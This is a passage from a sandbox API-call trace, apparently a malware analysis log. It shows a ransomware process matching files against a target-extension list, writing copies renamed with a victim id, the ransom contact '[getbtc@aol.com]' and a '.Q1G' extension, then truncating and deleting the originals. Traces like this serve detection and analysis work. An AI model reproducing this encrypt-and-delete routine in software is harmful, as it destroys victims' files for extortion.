(lpString1=".doc", lpString2=".WMF") returned -1 [0261.348] lstrlenW (lpString=".docx") returned 5 [0261.348] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0261.348] lstrlenW (lpString=".pdf") returned 4 [0261.348] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.348] lstrlenW (lpString=".xls") returned 4 [0261.348] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.348] lstrlenW (lpString=".xlsx") returned 5 [0261.348] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0261.348] lstrlenW (lpString=".ppt") returned 4 [0261.348] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.348] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.349] lstrlenW (lpString=".zip") returned 4 [0261.349] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.349] lstrlenW (lpString=".rar") returned 4 [0261.349] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.349] lstrlenW (lpString=".bz2") returned 4 [0261.349] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.349] lstrlenW (lpString=".7z") returned 3 [0261.349] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.349] lstrlenW (lpString=".dbf") returned 4 [0261.349] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.349] lstrlenW (lpString=".1cd") returned 4 [0261.349] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.349] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107742.WMF") returned 63 [0261.349] lstrlenW (lpString=".jpg") returned 4 [0261.349] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.349] lstrcmpiW (lpString1=".WMF", lpString2=".Q1G") returned 1 [0261.349] lstrlenW (lpString="J0107744.WMF") returned 12 [0261.349] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.385] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=5004) returned 1 [0261.385] CloseHandle (hObject=0x39c) returned 1 [0261.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 0x20 [0261.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.385] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0261.385] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.386] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.386] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0261.387] GetLastError () returned 0x0 [0261.387] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x138c, lpOverlapped=0x0) returned 1 [0261.396] WriteFile (in: hFile=0x37c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x1390, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x1390, lpOverlapped=0x0) returned 1 [0261.397] ReadFile (in: hFile=0x39c, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.397] WriteFile (in: hFile=0x37c, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.397] SetEndOfFile (hFile=0x37c) returned 1 [0261.398] CloseHandle (hObject=0x37c) returned 1 [0261.398] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.398] SetEndOfFile (hFile=0x39c) returned 1 [0261.440] CloseHandle (hObject=0x39c) returned 1 [0261.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107744.wmf")) returned 1 [0261.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.496] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.496] lstrlenW (lpString=".doc") returned 4 [0261.496] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.496] lstrlenW (lpString=".docx") returned 5 [0261.496] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.496] lstrlenW (lpString=".pdf") returned 4 [0261.496] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.497] lstrlenW (lpString=".xls") returned 4 [0261.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.497] lstrlenW (lpString=".xlsx") returned 5 [0261.497] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.497] lstrlenW (lpString=".ppt") returned 4 [0261.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.497] lstrlenW (lpString=".zip") returned 4 [0261.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.497] lstrlenW (lpString=".rar") returned 4 [0261.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.497] lstrlenW (lpString=".bz2") returned 4 [0261.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.497] lstrlenW (lpString=".7z") returned 3 [0261.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.497] lstrlenW (lpString=".dbf") returned 4 [0261.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.497] lstrlenW (lpString=".1cd") returned 4 [0261.497] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.497] lstrlenW (lpString=".jpg") returned 4 [0261.497] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.497] lstrlenW (lpString=".doc") returned 4 [0261.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0261.498] lstrlenW (lpString=".docx") returned 5 [0261.498] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0261.498] lstrlenW (lpString=".pdf") returned 4 [0261.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0261.498] lstrlenW (lpString=".xls") returned 4 [0261.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0261.498] lstrlenW (lpString=".xlsx") returned 5 [0261.498] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0261.498] lstrlenW (lpString=".ppt") returned 4 [0261.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0261.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.498] lstrlenW (lpString=".zip") returned 4 [0261.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0261.498] lstrlenW (lpString=".rar") returned 4 [0261.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0261.498] lstrlenW (lpString=".bz2") returned 4 [0261.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0261.498] lstrlenW (lpString=".7z") returned 3 [0261.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0261.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.498] lstrlenW (lpString=".dbf") returned 4 [0261.498] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0261.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.498] lstrlenW (lpString=".1cd") returned 4 [0261.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0261.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107744.WMF") returned 63 [0261.498] lstrlenW (lpString=".jpg") returned 4 [0261.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0261.498] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.498] lstrlenW (lpString="J0145272.JPG") returned 12 [0261.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.501] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=49238) returned 1 [0261.501] CloseHandle (hObject=0x1f8) returned 1 [0261.501] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 0x20 [0261.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.530] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.531] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.531] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.531] GetLastError () returned 0x0 [0261.531] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0xc056, lpOverlapped=0x0) returned 1 [0261.554] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xc060, lpOverlapped=0x0) returned 1 [0261.556] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.556] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.556] SetEndOfFile (hFile=0x3a0) returned 1 [0261.556] CloseHandle (hObject=0x3a0) returned 1 [0261.556] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.556] SetEndOfFile (hFile=0x1f8) returned 1 [0261.563] CloseHandle (hObject=0x1f8) returned 1 [0261.563] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.576] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0261.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.782] lstrlenW (lpString=".doc") returned 4 [0261.782] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.782] lstrlenW (lpString=".docx") returned 5 [0261.782] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0261.782] lstrlenW (lpString=".pdf") returned 4 [0261.782] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.782] lstrlenW (lpString=".xls") returned 4 [0261.782] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.782] lstrlenW (lpString=".xlsx") returned 5 [0261.782] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0261.782] lstrlenW (lpString=".ppt") returned 4 [0261.782] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.782] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.782] lstrlenW (lpString=".zip") returned 4 [0261.782] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.783] lstrlenW (lpString=".rar") returned 4 [0261.783] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.783] lstrlenW (lpString=".bz2") returned 4 [0261.783] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.783] lstrlenW (lpString=".7z") returned 3 [0261.783] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.783] lstrlenW (lpString=".dbf") returned 4 [0261.783] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.783] lstrlenW (lpString=".1cd") returned 4 [0261.783] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.783] lstrlenW (lpString=".jpg") returned 4 [0261.783] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.783] lstrlenW (lpString=".doc") returned 4 [0261.783] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.783] lstrlenW (lpString=".docx") returned 5 [0261.783] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0261.783] lstrlenW (lpString=".pdf") returned 4 [0261.783] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.783] lstrlenW (lpString=".xls") returned 4 [0261.783] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.783] lstrlenW (lpString=".xlsx") returned 5 [0261.783] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0261.783] lstrlenW (lpString=".ppt") returned 4 [0261.783] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.783] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.783] lstrlenW (lpString=".zip") returned 4 [0261.783] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.783] lstrlenW (lpString=".rar") returned 4 [0261.783] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.783] lstrlenW (lpString=".bz2") returned 4 [0261.784] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.784] lstrlenW (lpString=".7z") returned 3 [0261.784] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.784] lstrlenW (lpString=".dbf") returned 4 [0261.784] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.784] lstrlenW (lpString=".1cd") returned 4 [0261.784] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.784] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 [0261.784] lstrlenW (lpString=".jpg") returned 4 [0261.784] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.784] lstrcmpiW (lpString1=".JPG", lpString2=".Q1G") returned -1 [0261.784] lstrlenW (lpString="J0145669.JPG") returned 12 [0261.784] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.786] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x341ff1c | out: lpFileSize=0x341ff1c*=31850) returned 1 [0261.786] CloseHandle (hObject=0x1f8) returned 1 [0261.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 0x20 [0261.786] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0261.786] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0261.787] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.787] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.787] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0261.787] GetLastError () returned 0x0 [0261.787] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x7c6a, lpOverlapped=0x0) returned 1 [0261.814] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0x7c70, lpOverlapped=0x0) returned 1 [0261.816] ReadFile (in: hFile=0x1f8, lpBuffer=0x3fd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x341fed4, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesRead=0x341fed4*=0x0, lpOverlapped=0x0) returned 1 [0261.816] WriteFile (in: hFile=0x3a0, lpBuffer=0x3fd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x341fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fd0020*, lpNumberOfBytesWritten=0x341fc9c*=0xec, lpOverlapped=0x0) returned 1 [0261.816] SetEndOfFile (hFile=0x3a0) returned 1 [0261.816] CloseHandle (hObject=0x3a0) returned 1 [0261.816] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x341fec8 | out: lpNewFilePointer=0x0) returned 1 [0261.816] SetEndOfFile (hFile=0x1f8) returned 1 [0261.818] CloseHandle (hObject=0x1f8) returned 1 [0261.818] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0261.819] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg")) returned 1 [0261.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.819] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.819] lstrlenW (lpString=".doc") returned 4 [0261.819] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.819] lstrlenW (lpString=".docx") returned 5 [0261.819] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0261.819] lstrlenW (lpString=".pdf") returned 4 [0261.819] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.819] lstrlenW (lpString=".xls") returned 4 [0261.819] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.820] lstrlenW (lpString=".xlsx") returned 5 [0261.820] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0261.820] lstrlenW (lpString=".ppt") returned 4 [0261.820] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.820] lstrlenW (lpString=".zip") returned 4 [0261.820] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0261.820] lstrlenW (lpString=".rar") returned 4 [0261.820] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0261.820] lstrlenW (lpString=".bz2") returned 4 [0261.820] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0261.820] lstrlenW (lpString=".7z") returned 3 [0261.820] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0261.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.820] lstrlenW (lpString=".dbf") returned 4 [0261.820] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0261.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.820] lstrlenW (lpString=".1cd") returned 4 [0261.820] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0261.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.820] lstrlenW (lpString=".jpg") returned 4 [0261.820] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0261.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.820] lstrlenW (lpString=".doc") returned 4 [0261.820] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0261.820] lstrlenW (lpString=".docx") returned 5 [0261.820] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1 [0261.820] lstrlenW (lpString=".pdf") returned 4 [0261.820] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0261.820] lstrlenW (lpString=".xls") returned 4 [0261.820] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0261.820] lstrlenW (lpString=".xlsx") returned 5 [0261.820] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1 [0261.820] lstrlenW (lpString=".ppt") returned 4 [0261.821] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0261.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG") returned 63 [0261.821] lstrlenW (lpString=".zip") returned 4 [0261.821] lstrcmpiW (lpString1=".zip", 